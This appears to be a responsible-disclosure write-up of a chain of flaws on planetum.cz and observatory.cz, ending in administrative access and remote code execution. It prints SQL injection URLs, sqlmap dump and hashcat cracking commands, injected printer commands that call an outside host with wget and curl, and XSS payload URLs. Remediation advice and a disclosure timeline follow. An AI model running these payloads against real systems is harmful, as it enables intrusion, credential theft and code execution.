TL;DR

A security assessment identified an externally reachable attack path that let an unauthenticated attacker progressively gain and escalate access, ultimately resulting in administrative control of planetum.cz and Remote Code Execution.

Executive Summary

During a security assessment of planetum.cz, a chain of vulnerabilities was identified that allowed an unauthenticated attacker to fully compromise the administrative area and achieve Remote Code Execution. The path began with a SQL injection on observatory.cz, which exposed user credentials stored as unsalted MD5 hashes — reused to gain access to the administrative interface of carina.planetum.cz, exposing sensitive operational and business data including:

• payments, invoices, prices, orders, and vouchers
• halls, events, seats, and reservations
• cash registers, printers, and technical equipment
• employee accounts, roles, and shifts
• visitor personal data — emails, phone numbers, shopping carts
• sales reports, email communication, tickets, and database access

A misconfigured printer command interface was then leveraged to confirm Remote Code Execution on the underlying system.

All findings were responsibly disclosed. The vendor responded on the same day and confirmed full remediation within five weeks.

Attack Chain

A single SQL injection vulnerability on observatory.cz served as the entry point for a multi-stage attack chain that ultimately resulted in full administrative compromise and Remote Code Execution.

SQL Injection

The domain observatory.cz was found to be vulnerable to SQL injection, indicating insufficient server-side input validation. For example, consider this URL:

https://www.observatory.cz/porady.php?abbr=CHM

which results in:

Adding a termination character makes the original SELECT invalid and produces a syntax error, which is sometimes returned in the browser — this is called Error-Based (In-Band) injection.

In this case the database error is not returned; however, the Union-Based (In-Band) technique works. The UNION command effectively concatenates the results of the original SELECT hardcoded in the web application with a new, injected one.

https://www.observatory.cz/porady.php?abbr=' UNION ALL SELECT NULL,concat(user(),'<br>',database(),'<br>',version()),NULL,NULL,'5','6','7','8','9',NULL,NULL-- -

which results in:

MySQL 4.1.22-log

The backend runs on MySQL 4.1.22-log (released 2006), which does not include information_schema. Table and column enumeration is still possible through alternative techniques.

proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql --technique=B -D vela --common-tables

Database: vela
[5 tables]
+----------+
| events   |
| log      |
| program  |
| services |
| users    |
+----------+

Once the database, tables, and columns are identified, targeted data extraction becomes possible.

proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql -D vela -T users --dump --sql-query='SELECT name,login,password FROM vela.users;'

Credential exposure (weak password hashing)

The recovered password hashes use unsalted MD5, which is no longer considered secure for password storage. Modern hardware can compute hundreds of billions of iterations per second, making MD5 vulnerable to fast brute-force and dictionary attacks.

hashcat -w 3 -O -m 0 -a 3 --username hash.md5 -i --increment-min=1 --increment-max=8 "?a?a?a?a?a?a?a?a"
hashcat -w 3 -O -m 0 -a 0 --username hash.md5 --wordlist passwords.dic

While MD5 may still be suitable for fingerprinting or checksums, it is not recommended for protecting passwords due to its weakness against current attack methods.

Lateral movement (credential reuse across domains)

DNS research indicated that the domain www.observatory.cz is associated with infrastructure related to planetum.cz. Further DNS enumeration identified several subdomains that were publicly accessible from the Internet. Credentials obtained from the related domain were successfully used to authenticate to the administrative interface on carina.planetum.cz.

observatory.cz -> carina.planetum.cz

Unauthorized administrative access

Successful authentication to the administrative interface granted access to highly sensitive operational and business functionality, including system configuration, user management, transactional workflows, and clients' personal information.

In the admin area it was possible to view and manage:

• payments, invoices, prices, orders, vouchers, …
• halls / objects, events, seats, reservations, …
• cash registers, printers, other technical equipment, …
• accounts / roles of employees, shifts, …
• visitor information such as email, phone number, shopping cart, …
• sales reports, email communication, database, tickets, …
• and more

Remote Code Execution

With the administrative access obtained in the previous stage, functionality related to "Printer Configuration" was identified as a high-risk area. By modifying an existing command definition as shown below, Remote Code Execution was confirmed:

(wget -qO /dev/null http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/wget 2>/dev/null || true); lp -d Epson {{file}}
# or
(curl --silent http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/curl > /dev/null 2>&1 || true); lp -d Epson {{file}}

This results in a DNS lookup request:

and an HTTP request:

⚠️ Remote Code Execution has been confirmed.

Other Vulnerabilities

Activation Code Disclosure via Improper Validation Handling

During the account registration and activation process, an activation code is sent to the user by email. When an invalid activation code is submitted, the application discloses the correct activation code in the server response. This allows an attacker who knows a user's email address to:

• obtain valid activation codes
• bypass the intended activation workflow
• iterate activation codes for other users, including already-activated accounts

The issue was confirmed with the following request:

GET /?action=approve&mail=rozehnal%40planetum.cz&code=invalid-code HTTP/1.1
Host: rocenka.observatory.cz

which results in:

Unauthenticated Email Enumeration via ID Parameter

An unauthenticated endpoint was identified that allows enumeration of email addresses associated with incomplete user registrations. By supplying a numeric identifier via the id parameter, the application discloses the corresponding email address in the server response.

The issue was confirmed with the following request:

GET /?action=remail&id=77 HTTP/1.1
Host: rocenka.observatory.cz

which results in email address disclosure and the sending of an unsolicited email:

XSS on rocenka.observatory.cz

A reflected Cross-Site Scripting (XSS) vulnerability was identified on rocenka.observatory.cz. User-controlled input is reflected into the HTTP response without proper output encoding, allowing execution of arbitrary JavaScript in the context of the affected domain.

The issue was confirmed on the following URLs:

https://rocenka.observatory.cz/index.php?issue=2025&action=%3Cscript%3Ealert(1)%3C/script%3E&getback=1
https://rocenka.observatory.cz/?action=%3Cscript%3Ealert(1)%3C/script%3E
https://rocenka.observatory.cz/?action=approve&mail=yfomnvoboeflvylgph%40nespj.com&code=93d082fcdf3fc435c641485693e8db6c<script>alert(1)</script>

An attacker could leverage this vulnerability to execute malicious scripts in a victim's browser, potentially leading to session hijacking, unauthorized actions, or data exposure.

Conclusion

Remote Code Execution (RCE) is a serious security vulnerability that allows an attacker to run arbitrary code on a remote system without authorization. This can result in full system compromise, data theft, or the installation of malware, making it a critical issue with significant security impact.

Considerations

SQL Injection

• Implement proper server-side input validation.
• Use parameterized queries (prepared statements) for all database interactions.

Credential Exposure

• Treat all affected credentials as compromised and require a password reset.
• Use modern, adaptive password hashing algorithms with proper salting (e.g. bcrypt, Argon2).
• Avoid fast, general-purpose hash functions (such as MD5) for password storage.

Lateral Movement

• Review whether internal or administrative systems (e.g. carina.planetum.cz) need to be publicly accessible.
• Implement protection against automated authentication attempts (e.g. rate limiting or brute-force protection).
• Enforce multi-factor authentication, at minimum for privileged or administrative accounts.
• Strengthen the password policy to reduce the risk of credential reuse and guessing.

Unauthorized Administrative Access

• Enforce multi-factor authentication for all administrative and privileged accounts.
• Apply additional access controls to administrative interfaces (e.g. network restrictions or IP allowlisting).
• Strengthen password policy requirements for administrative accounts.
• Ensure sufficient logging and monitoring of administrative authentication and actions.

Remote Code Execution

• Avoid executing direct operating system commands from application-level configuration.
• Isolate printing and similar system-level functionality from the main application context.
• Apply strict allowlisting for any required system commands and parameters.
• Run services that execute OS-level commands with minimal privileges.
• Implement additional monitoring and alerting for the execution of system-level operations.

security.txt

A good practice is to publish a security.txt file in accordance with RFC 9116. The file belongs at the canonical path /.well-known/security.txt. It is a small, simple text file that tells ethical researchers how to securely report any findings. Some examples for inspiration:

Disclosure Timeline

As planetum.cz does not publish a security.txt file, finding the right contact required manual research. Initial outreach was made by email; after no response, contact was successfully established by phone.

2 December 2025  - requested permission from the director of planetum.cz to conduct security testing9 December 2025  - testing approved by the responsible technician14 December 2025 - report sent to the IT department through a secure channel18 December 2025 - responsible staff member responded7 January 2026   - in-person meeting at the planetum office (explanation, recommendations)20 January 2026  - fixes confirmed by the responsible technician20 January 2026  - post published

Reward

The IT department of planetum.cz voluntarily offered a financial reward in recognition of the responsible disclosure. The offer was declined.